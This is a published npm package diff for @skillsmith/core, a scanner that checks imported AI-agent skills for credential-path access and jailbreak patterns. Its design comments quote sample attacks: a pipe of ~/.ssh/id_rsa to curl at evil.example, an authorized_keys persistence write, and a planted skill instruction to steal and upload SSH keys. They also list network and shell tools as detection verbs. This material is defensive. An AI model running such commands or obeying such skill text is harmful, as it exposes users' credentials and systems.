@skillsmith/core 0.12.2 → 0.12.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (132) hide show
  1. package/CHANGELOG.md +9 -0
  2. package/README.md +2 -2
  3. package/dist/.tsbuildinfo +1 -1
  4. package/dist/src/index.d.ts +2 -1
  5. package/dist/src/index.d.ts.map +1 -1
  6. package/dist/src/index.js +3 -1
  7. package/dist/src/index.js.map +1 -1
  8. package/dist/src/scripts/__tests__/scan-imported-skills.test.js +9 -1
  9. package/dist/src/scripts/__tests__/scan-imported-skills.test.js.map +1 -1
  10. package/dist/src/scripts/scan-imported-skills.d.ts +7 -1
  11. package/dist/src/scripts/scan-imported-skills.d.ts.map +1 -1
  12. package/dist/src/scripts/scan-imported-skills.js +15 -2
  13. package/dist/src/scripts/scan-imported-skills.js.map +1 -1
  14. package/dist/src/scripts/skill-scanner/allowlist.d.ts +10 -0
  15. package/dist/src/scripts/skill-scanner/allowlist.d.ts.map +1 -1
  16. package/dist/src/scripts/skill-scanner/allowlist.js +10 -0
  17. package/dist/src/scripts/skill-scanner/allowlist.js.map +1 -1
  18. package/dist/src/scripts/skill-scanner/index.d.ts +8 -0
  19. package/dist/src/scripts/skill-scanner/index.d.ts.map +1 -1
  20. package/dist/src/scripts/skill-scanner/index.js +13 -5
  21. package/dist/src/scripts/skill-scanner/index.js.map +1 -1
  22. package/dist/src/scripts/skill-scanner/trust-scorer.d.ts.map +1 -1
  23. package/dist/src/scripts/skill-scanner/trust-scorer.js +6 -0
  24. package/dist/src/scripts/skill-scanner/trust-scorer.js.map +1 -1
  25. package/dist/src/security/scanner/SecurityScanner.action-context.d.ts +15 -0
  26. package/dist/src/security/scanner/SecurityScanner.action-context.d.ts.map +1 -0
  27. package/dist/src/security/scanner/SecurityScanner.action-context.js +209 -0
  28. package/dist/src/security/scanner/SecurityScanner.action-context.js.map +1 -0
  29. package/dist/src/security/scanner/SecurityScanner.d.ts +25 -0
  30. package/dist/src/security/scanner/SecurityScanner.d.ts.map +1 -1
  31. package/dist/src/security/scanner/SecurityScanner.helpers.d.ts +40 -1
  32. package/dist/src/security/scanner/SecurityScanner.helpers.d.ts.map +1 -1
  33. package/dist/src/security/scanner/SecurityScanner.helpers.js +88 -51
  34. package/dist/src/security/scanner/SecurityScanner.helpers.js.map +1 -1
  35. package/dist/src/security/scanner/SecurityScanner.js +39 -6
  36. package/dist/src/security/scanner/SecurityScanner.js.map +1 -1
  37. package/dist/src/security/scanner/SecurityScanner.pii.d.ts +30 -0
  38. package/dist/src/security/scanner/SecurityScanner.pii.d.ts.map +1 -1
  39. package/dist/src/security/scanner/SecurityScanner.pii.js +8 -1
  40. package/dist/src/security/scanner/SecurityScanner.pii.js.map +1 -1
  41. package/dist/src/security/scanner/SecurityScanner.prose-lexicon.d.ts +60 -0
  42. package/dist/src/security/scanner/SecurityScanner.prose-lexicon.d.ts.map +1 -0
  43. package/dist/src/security/scanner/SecurityScanner.prose-lexicon.js +228 -0
  44. package/dist/src/security/scanner/SecurityScanner.prose-lexicon.js.map +1 -0
  45. package/dist/src/security/scanner/SecurityScanner.scanners.d.ts.map +1 -1
  46. package/dist/src/security/scanner/SecurityScanner.scanners.js +35 -5
  47. package/dist/src/security/scanner/SecurityScanner.scanners.js.map +1 -1
  48. package/dist/src/security/scanner/SecurityScanner.value-gate.d.ts +49 -0
  49. package/dist/src/security/scanner/SecurityScanner.value-gate.d.ts.map +1 -0
  50. package/dist/src/security/scanner/SecurityScanner.value-gate.js +134 -0
  51. package/dist/src/security/scanner/SecurityScanner.value-gate.js.map +1 -0
  52. package/dist/src/security/scanner/SecurityScanner.weak-passwords.d.ts +55 -0
  53. package/dist/src/security/scanner/SecurityScanner.weak-passwords.d.ts.map +1 -0
  54. package/dist/src/security/scanner/SecurityScanner.weak-passwords.js +313 -0
  55. package/dist/src/security/scanner/SecurityScanner.weak-passwords.js.map +1 -0
  56. package/dist/src/security/scanner/patterns.d.ts +16 -6
  57. package/dist/src/security/scanner/patterns.d.ts.map +1 -1
  58. package/dist/src/security/scanner/patterns.js +25 -61
  59. package/dist/src/security/scanner/patterns.js.map +1 -1
  60. package/dist/src/security/scanner/patterns.sensitive-path.d.ts +45 -0
  61. package/dist/src/security/scanner/patterns.sensitive-path.d.ts.map +1 -0
  62. package/dist/src/security/scanner/patterns.sensitive-path.js +137 -0
  63. package/dist/src/security/scanner/patterns.sensitive-path.js.map +1 -0
  64. package/dist/src/security/scanner/regex-utils.d.ts +31 -17
  65. package/dist/src/security/scanner/regex-utils.d.ts.map +1 -1
  66. package/dist/src/security/scanner/regex-utils.js +31 -17
  67. package/dist/src/security/scanner/regex-utils.js.map +1 -1
  68. package/dist/src/security/scanner/types.d.ts +9 -0
  69. package/dist/src/security/scanner/types.d.ts.map +1 -1
  70. package/dist/src/utils/index.d.ts +1 -0
  71. package/dist/src/utils/index.d.ts.map +1 -1
  72. package/dist/src/utils/index.js +2 -0
  73. package/dist/src/utils/index.js.map +1 -1
  74. package/dist/src/utils/skill-name.d.ts +19 -0
  75. package/dist/src/utils/skill-name.d.ts.map +1 -0
  76. package/dist/src/utils/skill-name.js +26 -0
  77. package/dist/src/utils/skill-name.js.map +1 -0
  78. package/dist/src/utils/skill-name.test.d.ts +2 -0
  79. package/dist/src/utils/skill-name.test.d.ts.map +1 -0
  80. package/dist/src/utils/skill-name.test.js +34 -0
  81. package/dist/src/utils/skill-name.test.js.map +1 -0
  82. package/dist/tests/security/ContinuousSecurity.performance.test.js +12 -7
  83. package/dist/tests/security/ContinuousSecurity.performance.test.js.map +1 -1
  84. package/dist/tests/security/ContinuousSecurity.test.js +14 -2
  85. package/dist/tests/security/ContinuousSecurity.test.js.map +1 -1
  86. package/dist/tests/security/ai-defence-multiline-promotion.test.d.ts +10 -12
  87. package/dist/tests/security/ai-defence-multiline-promotion.test.d.ts.map +1 -1
  88. package/dist/tests/security/ai-defence-multiline-promotion.test.js +26 -33
  89. package/dist/tests/security/ai-defence-multiline-promotion.test.js.map +1 -1
  90. package/dist/tests/security/nested-instruction-long-attribute.test.js +20 -10
  91. package/dist/tests/security/nested-instruction-long-attribute.test.js.map +1 -1
  92. package/dist/tests/security/scanner-evidence-tiers.test.js +15 -0
  93. package/dist/tests/security/scanner-evidence-tiers.test.js.map +1 -1
  94. package/dist/tests/security/scanner-multiline-cap.test.d.ts +21 -0
  95. package/dist/tests/security/scanner-multiline-cap.test.d.ts.map +1 -0
  96. package/dist/tests/security/scanner-multiline-cap.test.js +152 -0
  97. package/dist/tests/security/scanner-multiline-cap.test.js.map +1 -0
  98. package/dist/tests/security/scanner-regression-guard.test.js +37 -0
  99. package/dist/tests/security/scanner-regression-guard.test.js.map +1 -1
  100. package/dist/tests/security/scanner-witness-sw1.test.d.ts +32 -0
  101. package/dist/tests/security/scanner-witness-sw1.test.d.ts.map +1 -0
  102. package/dist/tests/security/scanner-witness-sw1.test.js +255 -0
  103. package/dist/tests/security/scanner-witness-sw1.test.js.map +1 -0
  104. package/dist/tests/security/sensitive-path-adversarial-review.test.d.ts +2 -0
  105. package/dist/tests/security/sensitive-path-adversarial-review.test.d.ts.map +1 -0
  106. package/dist/tests/security/sensitive-path-adversarial-review.test.js +193 -0
  107. package/dist/tests/security/sensitive-path-adversarial-review.test.js.map +1 -0
  108. package/dist/tests/security/sensitive-path-fp.test.js +248 -0
  109. package/dist/tests/security/sensitive-path-fp.test.js.map +1 -1
  110. package/dist/tests/security/smi5879-corroboration.core.test.js +44 -0
  111. package/dist/tests/security/smi5879-corroboration.core.test.js.map +1 -1
  112. package/dist/tests/security/weak-password-lexicon.test.d.ts +18 -0
  113. package/dist/tests/security/weak-password-lexicon.test.d.ts.map +1 -0
  114. package/dist/tests/security/weak-password-lexicon.test.js +122 -0
  115. package/dist/tests/security/weak-password-lexicon.test.js.map +1 -0
  116. package/dist/tests/skill-scanner/allowlist.test.js +58 -4
  117. package/dist/tests/skill-scanner/allowlist.test.js.map +1 -1
  118. package/dist/tests/skill-scanner/categorizer.test.d.ts +2 -0
  119. package/dist/tests/skill-scanner/categorizer.test.d.ts.map +1 -0
  120. package/dist/tests/skill-scanner/categorizer.test.js +71 -0
  121. package/dist/tests/skill-scanner/categorizer.test.js.map +1 -0
  122. package/dist/tests/skill-scanner/cli-guard.test.d.ts +23 -0
  123. package/dist/tests/skill-scanner/cli-guard.test.d.ts.map +1 -0
  124. package/dist/tests/skill-scanner/cli-guard.test.js +71 -0
  125. package/dist/tests/skill-scanner/cli-guard.test.js.map +1 -0
  126. package/dist/tests/unit/services/skill-installation.content.test.js +36 -0
  127. package/dist/tests/unit/services/skill-installation.content.test.js.map +1 -1
  128. package/dist/tests/unit/services/skill-installation.service.sensitive-path-fp.test.d.ts +29 -0
  129. package/dist/tests/unit/services/skill-installation.service.sensitive-path-fp.test.d.ts.map +1 -0
  130. package/dist/tests/unit/services/skill-installation.service.sensitive-path-fp.test.js +200 -0
  131. package/dist/tests/unit/services/skill-installation.service.sensitive-path-fp.test.js.map +1 -0
  132. package/package.json +6 -1
@@ -0,0 +1,209 @@
1
+ /**
2
+ * Security Scanner — MF-3 path action-context gate (SMI-5207)
3
+ * @module @skillsmith/core/security/scanner/SecurityScanner.action-context
4
+ *
5
+ * The `sensitive_path` MF-3 gate: given a line that matched one of the nine
6
+ * PATH_FORM_PATTERNS, decide whether a real ACTION is being taken on that path
7
+ * (→ HIGH) or the path is merely MENTIONED (→ MEDIUM). MEDIUM is the default;
8
+ * escalation requires an action verb or shell operator within +/-1 line.
9
+ *
10
+ * Split out of SecurityScanner.scanners.ts for the 500-line pre-commit gate,
11
+ * symmetric with SecurityScanner.value-gate.ts (the MF-4 half). Cohesive unit —
12
+ * every symbol here serves the single question "is this path being acted on?".
13
+ */
14
+ import { NEGATION_TOKENS, NOUN_DETERMINERS, DETECTION_FRAMING, RELATIVE_MARKERS, } from './SecurityScanner.prose-lexicon.js';
15
+ import { MAX_LINE_LENGTH_FOR_REGEX } from './regex-utils.js';
16
+ /**
17
+ * MF-3 (SMI-5207): action verbs for a path-form match, matched as whole
18
+ * tokens (not substring) so negation lookaround works cleanly.
19
+ *
20
+ * DROPPED vs. the first design pass (round 2): read/reads, open, load, print,
21
+ * write, echo — fire on ordinary third-person documentation ("explains how
22
+ * Linux reads /etc/passwd", "how to read ~/.ssh/config safely") as readily as
23
+ * on real instructions.
24
+ *
25
+ * ALSO dropped: `source` (round 2) — "open source" is common in skill
26
+ * descriptions and would reopen the exact FP class this wave closes; MF-2's
27
+ * `.env` gate keeps `source` unchanged, where it must not move. less/more/
28
+ * head/tail dropped too — high prose frequency, weak command signal; their
29
+ * loss is bounded because sensitive_path alone cannot quarantine any surface
30
+ * (its score contribution caps at 4.00/100 — see Context).
31
+ *
32
+ * DROPPED in round 9 — `leaks?`, `dumps?`, `extracts?`. The earlier narrowing
33
+ * asked "is this word a soft verb?" but missed the mirror case: a word whose
34
+ * ordinary form in DEFENSIVE security prose names the threat category or the
35
+ * artifact rather than an attacker action. `leaks` is the live proof — the
36
+ * confirmed FP `lucas-lima-s/claude-skill-repo-audit` describes itself as
37
+ * "…secret/PII scans, git-history identity leaks…", where "identity leaks" is
38
+ * a plural NOUN, but ACTION_VERB_EXACT matched it as a verb and escalated the
39
+ * adjacent `secret/PII` match to HIGH. `dumps` ("credential dumps", "memory
40
+ * dumps", "database dumps") and `extracts` ("data extracts", and the
41
+ * defensive-verb reading "extracts secrets for review") are the same shape and
42
+ * go with it. RETAINED from that group: `steals?` and `exfiltrates?` — neither
43
+ * has a noun reading in this genre (defensive prose says "credential theft"
44
+ * and "exfiltration", never "steals"/"exfiltrates"), so both stay
45
+ * attacker-framing only.
46
+ *
47
+ * Movement verbs are pluralized (uploads?/sends?/...) so third-person
48
+ * instruction prose ("Reads ~/.ssh/id_rsa and uploads it") still scores HIGH
49
+ * via the movement half after the soft-verb half was dropped.
50
+ *
51
+ * Round 10 did NOT prune this list further. `uploads`/`downloads`/`posts` do
52
+ * have noun readings, but pruning them would delete the movement half this
53
+ * gate depends on, and the noun reading is better handled structurally than
54
+ * lexically: hasActionEvidence's determiner check now disqualifies "The
55
+ * uploads dashboard" / "The Downloads folder" while leaving "and uploads it"
56
+ * firing — a discrimination no vocabulary edit can make. See that function
57
+ * for round 10's two disqualifiers and residual R-10.
58
+ */
59
+ const ACTION_VERBS = 'cat|cp|mv|scp|rsync|curl|wget|fetch|tee|tar|zip|gzip|base64|xxd|dd|nc|netcat|' +
60
+ 'chmod|ssh-add|openssl|uploads?|downloads?|sends?|posts?|exfiltrates?|steals?';
61
+ const ACTION_VERB_EXACT = new RegExp(`^(?:${ACTION_VERBS})$`, 'i');
62
+ /**
63
+ * MF-3 (SMI-5207, closing design — round 6): any pipe or redirect is action
64
+ * evidence, position-independent, and is NEVER negation-suppressed.
65
+ *
66
+ * Rounds 3-5 tried three successive content-based mechanisms to distinguish a
67
+ * real shell operator from a Markdown blockquote marker (position-only, then
68
+ * position-plus-prose-detection, then a stricter prose test) — each held
69
+ * against its own hand-picked fixtures and was then broken by review. The
70
+ * final break was decisive: POSIX permits the redirect target BEFORE the
71
+ * command (`> file cmd args`, the shape behind `>> ~/.ssh/authorized_keys
72
+ * echo <key>`, a classic SSH-persistence write), which is lexically
73
+ * IDENTICAL to a blockquote — and any content-based test for which one it is
74
+ * can be POISONED, because the attacker writes the content: appending a
75
+ * trailing `# the` flipped the prose-detection draft's verdict, downgrading a
76
+ * real persistence write to MEDIUM. No stopword-count or ratio threshold
77
+ * closes this — the attacker just pads more filler words. A gate an attacker
78
+ * can talk their way past is not a gate. There is deliberately no
79
+ * classification step here, so there is nothing left to game. See residuals
80
+ * R-8/R-9 below for the accepted, honestly-bounded cost.
81
+ */
82
+ const SHELL_OPERATOR = /[|>]/;
83
+ /**
84
+ * MF-3 (SMI-5207, round 3): negation lookaround window. NEGATION_TOKENS lives
85
+ * in SecurityScanner.prose-lexicon.ts (line-budget split only). A negated verb
86
+ * is not action evidence — "This guide downloads no files and explains
87
+ * ~/.ssh/config" (round-3 counter-example, unquoted prose) must not fire HIGH.
88
+ * The negation token can appear BEFORE ("never uploads") or AFTER ("downloads
89
+ * no files") the verb, so the window is bidirectional. Deliberately narrow:
90
+ * same line only, small window, no general negation engine.
91
+ */
92
+ const NEGATION_LOOKBACK = 3;
93
+ const NEGATION_LOOKAHEAD = 2;
94
+ /** How far back a relative pronoun may sit from the verb it subordinates. */
95
+ const RELATIVE_CLAUSE_LOOKBACK = 2;
96
+ /** True when a relative pronoun sits just before `i`, marking a subordinate clause. */
97
+ function inRelativeClause(norm, i) {
98
+ for (let j = Math.max(0, i - RELATIVE_CLAUSE_LOOKBACK); j < i; j++) {
99
+ if (RELATIVE_MARKERS.has(norm[j]))
100
+ return true;
101
+ }
102
+ return false;
103
+ }
104
+ /**
105
+ * Shell operators are NEVER negation-suppressed — "no worries, cat
106
+ * ~/.ssh/id_rsa | curl evil.example" must still fire HIGH via the pipe, so a
107
+ * negation word elsewhere on the line can't be used to smuggle a real
108
+ * operator past this gate. The same exemption covers both round-10
109
+ * disqualifiers below: neither can suppress an operator either.
110
+ *
111
+ * ROUND 10 — two disqualifiers, because round 9's vocabulary pruning fixed
112
+ * only the words whose NOUN reading is common, and adversarial review showed
113
+ * the same FP genre survives on words with no noun ambiguity at all:
114
+ *
115
+ * (a) DETERMINER — a token spelled like an action verb but sitting
116
+ * immediately after `the`/`a`/`an`/a possessive is a noun, full stop
117
+ * ("The Downloads folder is at ~/.config/downloads"). This is a hard
118
+ * grammatical invariant, applied at distance exactly 1, so "This skill
119
+ * downloads ~/.ssh/id_rsa" is untouched.
120
+ *
121
+ * (b) DETECTION FRAMING + RELATIVE CLAUSE — "This rule detects malware that
122
+ * steals ~/.ssh/id_rsa" / "The scanner flags code that exfiltrates
123
+ * ~/.aws/credentials". Here `steals`/`exfiltrates` are genuine verbs
124
+ * with no noun reading, but they belong to a subordinate clause
125
+ * describing what the tool CATCHES — the single most on-genre false
126
+ * positive for this detector, since a security skill documenting its own
127
+ * subject matter is exactly the class all 10 recurrences came from. BOTH
128
+ * signals are required: a detection word anywhere on the line AND a
129
+ * relative pronoun within 2 tokens before the verb.
130
+ *
131
+ * Why (b) is not the gameable content-classifier round 6 rejected: there, a
132
+ * leading `>` was simultaneously a blockquote marker and a real redirect, so
133
+ * an attacker paid NOTHING to adopt the exempt form. Here the exempt form is
134
+ * third-person description, which is not an instruction — an attacker who
135
+ * rewrites "steal ~/.ssh/id_rsa and upload it" as "detects malware that steals
136
+ * ~/.ssh/id_rsa" has bought MEDIUM by discarding the imperative force that
137
+ * made the payload work on the agent. The evasion defeats itself, and shell
138
+ * operators stay unconditional regardless.
139
+ *
140
+ * RESIDUAL R-10 (accepted, round 10 — the last word on this vocabulary): a
141
+ * plural action-verb token used as a NOUN with no determiner and no detection
142
+ * framing still reads as action evidence — "Blog posts about ~/.ssh/config
143
+ * troubleshooting are indexed here." Separating that from "posts it to the
144
+ * collector" needs part-of-speech tagging: the disambiguator is a preceding
145
+ * noun-modifier ("Blog"), which is an open word class no fixed lexicon can
146
+ * enumerate, so there is no bounded lexical signal left to add. Declining a
147
+ * further patch deliberately, rather than shipping a fourth partial rule.
148
+ *
149
+ * Bounded three ways. (1) Score cap: `sensitive_path` contributes at most
150
+ * 4.00/100 on both indexer substrates and cannot quarantine alone there; it
151
+ * bites only on the weekly-scan categorical veto, the one surface that HAS an
152
+ * allowlist. (2) Corpus evidence: none of the 13 live entries in
153
+ * data/skills-security-allowlist.json is this shape — the observed genre is
154
+ * bare noun-phrase feature lists ("secret/PII scans", "git-history identity
155
+ * leaks", "credential-exfiltration shapes"), which round 9's vocabulary drop
156
+ * already closed, and none of the 10 historical recurrences used a
157
+ * determiner-less action-verb noun either. (3) Direction: it over-flags, and
158
+ * an over-flag on the one allowlisted surface is recoverable exactly as all 10
159
+ * prior recurrences were, whereas the alternative — a speculative POS
160
+ * heuristic — risks under-flagging on four surfaces that cannot be allowlisted
161
+ * at all.
162
+ */
163
+ function hasActionEvidence(rawLine) {
164
+ // Governance review L-2: cap at the same length the sibling value-gate
165
+ // applies (SecurityScanner.value-gate.ts) and the same cap safeRegexTest
166
+ // already applied to the match that got the caller here — without this,
167
+ // an action verb past character 10,000 on a line could escalate a path
168
+ // the pattern scan itself never saw past that point.
169
+ const line = rawLine.slice(0, MAX_LINE_LENGTH_FOR_REGEX);
170
+ if (SHELL_OPERATOR.test(line))
171
+ return true;
172
+ const words = line.split(/\s+/);
173
+ const norm = words.map((w) => w.toLowerCase().replace(/[^a-z']/g, ''));
174
+ const describesDetection = norm.some((w) => DETECTION_FRAMING.has(w));
175
+ for (let i = 0; i < words.length; i++) {
176
+ if (!ACTION_VERB_EXACT.test(words[i].replace(/[^A-Za-z-]/g, '')))
177
+ continue;
178
+ if (i > 0 && NOUN_DETERMINERS.has(norm[i - 1]))
179
+ continue; // (a) noun reading
180
+ if (describesDetection && inRelativeClause(norm, i))
181
+ continue; // (b) description
182
+ let negated = false;
183
+ for (let j = Math.max(0, i - NEGATION_LOOKBACK); j <= Math.min(norm.length - 1, i + NEGATION_LOOKAHEAD); j++) {
184
+ if (j !== i && NEGATION_TOKENS.has(norm[j])) {
185
+ negated = true;
186
+ break;
187
+ }
188
+ }
189
+ if (!negated)
190
+ return true; // any un-negated verb is sufficient
191
+ }
192
+ return false;
193
+ }
194
+ // +/-1 line (3-line window). Same-line-only was rejected: MF-3 makes severity
195
+ // verb-dependent for NINE patterns at once, so a same-line gate would hand an
196
+ // attacker a single-newline evasion across the whole family. +/-1 defeats the
197
+ // trivial split while staying far tighter than the sibling co-signal locality
198
+ // constant (40 lines, SMI-5880).
199
+ const MAX_PATH_ACTION_LINE_DISTANCE = 1;
200
+ export function hasPathActionContext(lines, index) {
201
+ const lo = Math.max(0, index - MAX_PATH_ACTION_LINE_DISTANCE);
202
+ const hi = Math.min(lines.length - 1, index + MAX_PATH_ACTION_LINE_DISTANCE);
203
+ for (let i = lo; i <= hi; i++) {
204
+ if (hasActionEvidence(lines[i]))
205
+ return true;
206
+ }
207
+ return false;
208
+ }
209
+ //# sourceMappingURL=SecurityScanner.action-context.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"SecurityScanner.action-context.js","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.action-context.ts"],"names":[],"mappings":"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"}
@@ -13,6 +13,14 @@ import { toMinimalRefs, toSARIF, toGitHubAnnotations, toSummary } from './Securi
13
13
  export { LineContext, analyzeMarkdownContext, isDocumentationContext, isWithinInlineCode, calculateRiskScore, extractUrls, };
14
14
  export { scanSsrfPatterns };
15
15
  export { toMinimalRefs, toSARIF, toGitHubAnnotations, toSummary };
16
+ /**
17
+ * SMI-5879 (design §5): quickCheck is a fast pre-filter, not the full scan —
18
+ * a bare mention-tier match (a documentation page discussing "jailbreak" or
19
+ * "DAN") should not by itself fail the quick path. Derived ONCE at module
20
+ * load, not hand-maintained, so it can never silently drift from
21
+ * JAILBREAK_PATTERNS' own evidence-tier classification.
22
+ */
23
+ export declare const DIRECTIVE_JAILBREAK_PATTERNS: readonly RegExp[];
16
24
  export declare class SecurityScanner {
17
25
  private allowedDomains;
18
26
  private blockedPatterns;
@@ -41,6 +49,18 @@ export declare class SecurityScanner {
41
49
  * text contains. This disables ONLY the encoded-payload detector on the
42
50
  * inner call, not the rest of the suite — a decoded `curl|bash` still
43
51
  * trips `code_execution`, decoded secrets still trip `sensitive_path`, etc.
52
+ *
53
+ * SMI-5879: `EncodedPayloadRescanner`'s contract is a bare
54
+ * `SecurityFinding[]` return (SecurityScanner.encoding.ts, out of scope for
55
+ * this change), so a recursive `runDetectors` call for decoded content has
56
+ * no return channel of its own to report multiline truncation.
57
+ * `truncationRef` is a shared mutable out-param instead: every call (outer
58
+ * and any recursive rescan) ORs its own jailbreak/AI-defence truncation
59
+ * into it, so truncation anywhere in the recursion is visible to the
60
+ * original (outermost) caller. Per `ScanReport.multilineTruncated`'s own
61
+ * doc: being truncated is only ever used to RAISE caution, never to lower
62
+ * it, so over-reporting here (e.g. attributing an inner rescan's
63
+ * truncation to the whole document) is safe by that same design.
44
64
  */
45
65
  private runDetectors;
46
66
  /**
@@ -63,6 +83,11 @@ export declare class SecurityScanner {
63
83
  * `collectExecutableCodeFiles` candidates are the first real caller.
64
84
  */
65
85
  scan(skillId: string, content: string, isHighTrustAuthor?: boolean, isMarkdown?: boolean): ScanReport;
86
+ /**
87
+ * SMI-5879 (design §5): tests only the directive-tier derived subset (a
88
+ * bare mention like "jailbreak" or "DAN" alone should not fail the quick
89
+ * path — see DIRECTIVE_JAILBREAK_PATTERNS above).
90
+ */
66
91
  quickCheck(content: string): boolean;
67
92
  addAllowedDomain(domain: string): void;
68
93
  addBlockedPattern(pattern: RegExp): void;
@@ -1 +1 @@
1
